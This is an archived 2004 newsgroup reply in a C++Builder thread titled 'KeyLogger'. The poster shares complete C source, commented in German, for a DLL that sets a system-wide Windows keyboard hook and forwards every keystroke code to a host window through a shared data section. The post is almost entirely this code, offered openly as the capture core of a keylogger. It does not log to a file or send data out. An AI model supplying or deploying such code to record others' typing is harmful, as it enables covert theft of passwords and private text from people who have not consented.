Article View: borland.public.cppbuilder.nativeapi
Article #8529Re: KeyLogger
From: Oren Halvani
Date: Sun, 10 Oct 2004 23:44
Date: Sun, 10 Oct 2004 23:44
131 lines
6181 bytes
6181 bytes
i've found a german sample :-)
// hookdll.h
#ifdef __cplusplus
#define EXPORT extern "C" __declspec (dllexport)
#else
#define EXPORT __declspec (dllexport)
#endif
// Funktonalit�t sowohl unter C als auch unter C++ gegeben
EXPORT BOOL CALLBACK SetupHook (HWND) ;
EXPORT BOOL CALLBACK UninstallHook (void) ;
// Die Prototypen der EXPORT Funktionen
/////////////////////////////////////////////////////////////
// hookdll.c
// Der Keyboardhook wird beim aufruf die Funktion SetupHook (HWND)
// vom Hauptprogramm aus gesetzt. Dabei wird das Fensterhandle des
// aufrufendes Programms an die Funktion �bergeben. Als Ergebnis
// sendet die hookdll.dll �ber die Funktion KeyboardHookProc
// jedes mal wenn eine Taste bet�tigt wird eine Nachricht
// vom Typ (WM_USER + 2) an das Hauptprogramm. Dabaei steht der
// Tastencode der gedr�ckten Taste in dem Paramter "wParam".
// Wenn der Hook nicht mehr ben�tigt wird, l�scht man ihn �ber die
// Funkion UninstallHook ()
#include <windows.h>
#include "hookdll.h" /* -> Siehe Oben */
// Weise den Compiler an, die Variable hWindow in einem
// separaten Abschnitt namens Shared unterzubringen
// Dar�ber hinaus ist dann auch noch dem Linker mitzuteilen,
// dass die Daten in diesem Abschnitt von allen Instanzen
// dieser Anwendung gemeinsam verwendet werden sollen.
// Ganz wichtig dabei ist, dass die Variablen initialisiert
// sein m�ssen.
#pragma data_seg ("Shared")
HWND hWindow = 0 ;
#pragma data_seg ()
// Weise den Compilern, den Abschnitt Shared als lesbar,
// beschreibbar und zur gemeinsamen Verwendung zu deklarieren - "RSW".
#pragma comment (linker, "/section:Shared,RWS")
LRESULT CALLBACK KeyboardHookProc (int, WPARAM, LPARAM) ;
// Der Prototyp der Funktion KeyboardHookProc
HHOOK hhkHook ;
HINSTANCE hDllInstance ;
// Definition globaler Variablen
/************************************************************************/
/* DllMain: wird automatisch aufgerufen, wenn die DLL mit LoadLibrary() */
/* geladen, oder mit FreeLibrary wieder freigegeben wird. */
/* Eingabe Parameter: Systemspezifische Daten */
/* Return-Wert: TRUE */
/************************************************************************/
int APIENTRY DllMain (HINSTANCE hInstance, DWORD fdwReason, PVOID pvReserved){
switch (fdwReason){
case DLL_PROCESS_ATTACH :
// Die DLL wird in den Adressraum des aktuellen Prozesses
// eingeblendet.
hDllInstance = hInstance ;
// Initialisierung der globalen Variable
break ;
}
return TRUE ;
}
/***********************************************************/
/* SetupHook: EXPORT Funktion, setzt den Keyboardhook */
/* Eingabe Parameter: HWND des aufrufenden Fensters */
/* Return-Wert: TRUE */
/***********************************************************/
EXPORT BOOL CALLBACK SetupHook (HWND hParent){
hWindow = hParent ;
// Initialisierung der globalen Variable mit dem Eingabe Parameter
hhkHook = SetWindowsHookEx (WH_KEYBOARD, KeyboardHookProc, hDllInstance,
NULL) ;
// Keyboardhook setzen und das Ergebnis in der globalen Variable
// hhkHook speichern.
return TRUE ;
}
/*******************************************************************/
/* KeyboardHookProc: wird jedes mal aufgerufen, wenn eine Taste */
/* bet�tigt wird */
/* Eingabe Parameter: Systemspezifische Daten */
/* Return-Wert: s. u. */
/*******************************************************************/
LRESULT CALLBACK KeyboardHookProc (int nCode, WPARAM wParam, LPARAM lParam){
if (nCode == HC_ACTION){
// Verhindern das eine Nachricht mehrmals verarbeitet wird.
if ((lParam & 1073741824) != 1073741824){
// �berpr�fen ab vor dem Aufruf dieser Funktion die Taste bereits
gedr�ckt war
SendMessage ((HWND) hWindow, (WM_USER + 2), (WPARAM) wParam,
(LPARAM) lParam) ;
// Senden der Nachricht (WM_USER + 2) und den Tastencode der
gedr�ckten
// Taste (gespeichert in "wParam") an das in der globalen Variable
// hWindow gespeicherte Fensterhandle.
}
}
return CallNextHookEx (hhkHook, nCode, wParam, lParam) ;
// Die Nachrichten an den n�chsten Hook weiterreichen.
}
/*********************************************************************/
/* UninstalHook: EXPORT Funktion, l�scht den �ber die Funktion */
/* SetupHook gesetzten Hook */
/* Eingabe Parameter: keine */
/* Return-Wert: TRUE */
/*********************************************************************/
EXPORT BOOL CALLBACK UninstallHook (void){
UnhookWindowsHookEx (hhkHook) ;
// den in der globalen Variable hhkHook gespeicherten Hook l�schen.
return TRUE ;
}
Technical Details
Message-ID:
<4169c97f@newsgroups.borland.com>Path:
arc1-ca.pugleaf.net!g2news1.google.com!news1.google.com!news2.google.com!proxad.net!213.200.89.82.MISMATCH!tiscali!newsfeed1.ip.tiscali.net!newsfeed00.sul.t-online.de!newsfeed01.sul.t-online.de!t-online.de!newsgroups.borland.com!not-for-mailReferences:
<41699ebb@newsgroups.borland.com>Show Full Headers
Complete Article Headers
X-Google-Thread: 10cc67,2778ac9e1c9b2b4f X-Google-Attributes: gid10cc67,public X-Google-Language: GERMAN,ASCII Reply-To: "Oren Halvani" <NoSpam@fdtd.com> From: "Oren Halvani" <NoSpam@fdtd.com> Newsgroups: borland.public.cppbuilder.nativeapi References: <41699ebb@newsgroups.borland.com> Subject: Re: KeyLogger Date: Mon, 11 Oct 2004 01:44:19 +0200 Lines: 133 X-Priority: 3 X-MSMail-Priority: Normal X-Newsreader: Microsoft Outlook Express 6.00.2800.1106 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 NNTP-Posting-Host: 217.234.110.122 Message-ID: <4169c97f@newsgroups.borland.com> X-Trace: newsgroups.borland.com 1097451903 217.234.110.122 (10 Oct 2004 16:45:03 -0700) Path: arc1-ca.pugleaf.net!g2news1.google.com!news1.google.com!news2.google.com!proxad.net!213.200.89.82.MISMATCH!tiscali!newsfeed1.ip.tiscali.net!newsfeed00.sul.t-online.de!newsfeed01.sul.t-online.de!t-online.de!newsgroups.borland.com!not-for-mail